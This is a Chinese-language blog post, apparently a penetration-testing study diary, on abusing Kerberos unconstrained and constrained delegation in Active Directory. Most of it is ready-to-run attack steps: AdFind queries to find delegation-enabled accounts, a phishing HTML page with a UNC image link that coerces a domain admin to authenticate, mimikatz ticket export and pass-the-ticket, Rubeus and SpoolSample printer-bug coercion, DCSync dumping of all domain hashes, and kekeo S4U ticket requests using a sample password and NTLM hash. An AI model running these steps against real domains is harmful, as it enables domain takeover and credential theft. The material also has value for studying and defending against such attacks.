第182天委派与非委派约束

主要是要理解什么是委派和非委派:
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解。
DC类似房东,委派用户类似中介,攻击者类似租客

委派的分类:
1、非约束委派(Unconstrained Delegation, UD)
2、约束委派(Constrained Delegation, CD)
3、基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。
RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

主要有这几类用户
机器账户:计算机本身名称的账户,在域中computers组内的计算机。
主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。
服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。
下图是机器用户
image
下图是主机用户
image

复现配置:
1、信任此计算机来委派任何服务
2、setspn -U -A priv/test webadmin 设置主机用户webadmin为委派

非约束委派

判断是否能够使用非约束委派,有命令可以使用,必须有两个用户及以上
第一种做法域控管理员得有登陆过主机:
类似PTT横向的第三种手法

判断查询:
查询域内设置了非约束委派的主机账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

利用思路1:诱使域管理员访问机器

利用条件:
1、需要Administrator权限
2、域内主机的机器账户开启非约束委派
3、域控管理员远程访问(主动或被动)

利用过程:
1、域控与委派机器通讯
主动:

net use \\webserver

钓鱼:
http://192.168.3.31/31.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.31\2">
</body>
</html>

2、导出票据到本地

mimikatz sekurlsa::tickets /export

3、导入票据到内存

mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god\c$

利用思路2:结合打印机漏洞

利用条件:DC 2012以上
1、Administrator权限监听
2、打印机服务spooler开启(默认开启)

利用过程:
1、监听来自DC的请求数据并保存文件

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

shell SpoolSample.exe dc web2016

2、Rubeus监听到票据并导入该票据

shell Rubeus.exe ptt /ticket:xxx

3、使用mimikatz导出域内Hash

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv

4、使用wmi借助hash横向移动

利用思路3:结合PetitPotam
适用于windows其他版本
结合NTLM Relay监听,后续讲到

第二种手法的利用:
需要DC的版本在windows server 2012以上

在漏洞利用的时候需要注意修改host的内容
image

约束委派

利用思路:使用机器账户票据
利用条件:kekeo Rubeus getST
1、需要Administrator权限
2、目标机器账户配置了约束性委派

判断查询:
查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

kekeo利用步骤:
1、获取webadmin用户的票据

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

2、利用webadmin用户票据请求获取域控票据

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

3、导入票据到内存

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god.god.org\c$

后续也可以使用impack里面的getST.py进行委派攻击

涉及项目:
https://github.com/shanfenglan/test/tree/master/spooler
https://github.com/fortra/impacket(综合利用)
https://github.com/gentilkiwi/kekeo(票据利用)
https://github.com/topotam/PetitPotam(结合ntlm重放)
https://github.com/leechristensen/SpoolSample(打印机利用)
https://www.joeware.net/freetools/tools/adfind/(信息收集)
参考文章:
https://forum.butian.net/share/1591
https://www.cnblogs.com/sup3rman/p/16088447.html
https://mp.weixin.qq.com/s/0UOOMF5s00D-y3fojVKMdA

posted @ 2025-11-08 16:25  JuneCy  阅读(21)  评论(0)    收藏  举报